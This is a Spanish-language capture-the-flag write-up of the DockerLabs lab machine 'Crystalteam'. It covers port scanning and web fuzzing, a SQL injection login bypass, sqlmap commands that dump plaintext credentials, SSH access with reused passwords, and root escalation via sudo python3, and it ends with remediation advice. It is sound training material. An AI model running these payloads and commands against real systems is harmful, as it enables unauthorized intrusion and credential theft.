Ir al contenido

Crystalteam

Este documento presenta la resolución completa de la máquina Crystalteam, desarrollada por Alejandro609x para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone una aplicación web vulnerable que contiene un formulario de autenticación sin protección frente a inyección SQL, permitiendo el bypass del login y la posterior enumeración completa de la base de datos. A partir de esta vulnerabilidad, se obtienen credenciales válidas reutilizadas en el servicio SSH, proporcionando acceso inicial al sistema.

Una vez dentro, se identifica una configuración insegura de privilegios sudo, que permite la ejecución del intérprete Python como root, facilitando una escalada de privilegios directa hasta obtener control total del sistema.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreCrystalteam
AutorAlejandro609x
DificultadMedio
Fecha22/04/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Crystalteam.zip
sudo bash auto_deploy.sh Crystalteam.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Crystalteam/{content,exploits,nmap,scripts}
cd Crystalteam

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado revela los siguientes servicios accesibles externamente:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza fuzzing de rutas y archivos sobre el servicio web:

Ventana de terminal
feroxbuster -u http://172.17.0.2 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

El diccionario inicial no resulta efectivo. Tras probar distintas wordlists, se identifica un único endpoint relevante:

  • Certification — Página educativa relacionada con ciberseguridad.

content of certification


Al analizar en profundidad el contenido del endpoint Certification, se identifica un formulario de autenticación:

login

Se prueba inicialmente un payload clásico de inyección SQL para bypass del login:

' or 1=1-- -

El payload funciona correctamente, confirmando la vulnerabilidad. A continuación, se automatiza la explotación utilizando sqlmap:

Ventana de terminal
sqlmap -u http://172.17.0.2/Certificacion/login.php --form --batch --dbs

El resultado expone varias bases de datos, destacando una denominada inicio:

databases

Se procede a extraer el contenido de la tabla relevante:

Ventana de terminal
sqlmap -u http://172.17.0.2/Certificacion/login.php --form --batch -D inicio -T personales --dump

El volcado revela usuarios y contraseñas en texto claro:

table users

Se prueba el primer conjunto de credenciales en el servicio SSH:

Ventana de terminal
ssh alejandro@172.17.0.2

El acceso es exitoso, obteniendo una shell válida en el sistema:

ssh access


Se enumeran los privilegios sudo disponibles:

sudo -l

El resultado indica que el usuario alejandro puede ejecutar el binario python3 como root sin necesidad de contraseña.

Se abusa de esta configuración ejecutando una shell privilegiada:

Ventana de terminal
sudo python3 -c 'import os; os.system("/bin/bash")'

La escalada se completa con éxito, obteniendo acceso como root:

root user


VulnerabilidadSeveridadImpacto
Inyección SQL en formulario de autenticaciónCríticaAcceso no autorizado
Almacenamiento de credenciales en texto planoCríticaCompromiso de múltiples servicios
Reutilización de credenciales en SSHAltaAcceso remoto al sistema
Configuración insegura de sudo con python3CríticaEscalada directa de privilegios
Falta de controles de validación de entradaAltaExplotación automatizada

  • Implementar consultas SQL parametrizadas y validación estricta de entradas.
  • Evitar el almacenamiento de contraseñas en texto claro.
  • Aplicar políticas de credenciales únicas para servicios críticos.
  • Restringir el uso de intérpretes en configuraciones sudo.
  • Auditar periódicamente aplicaciones web y configuraciones de privilegios.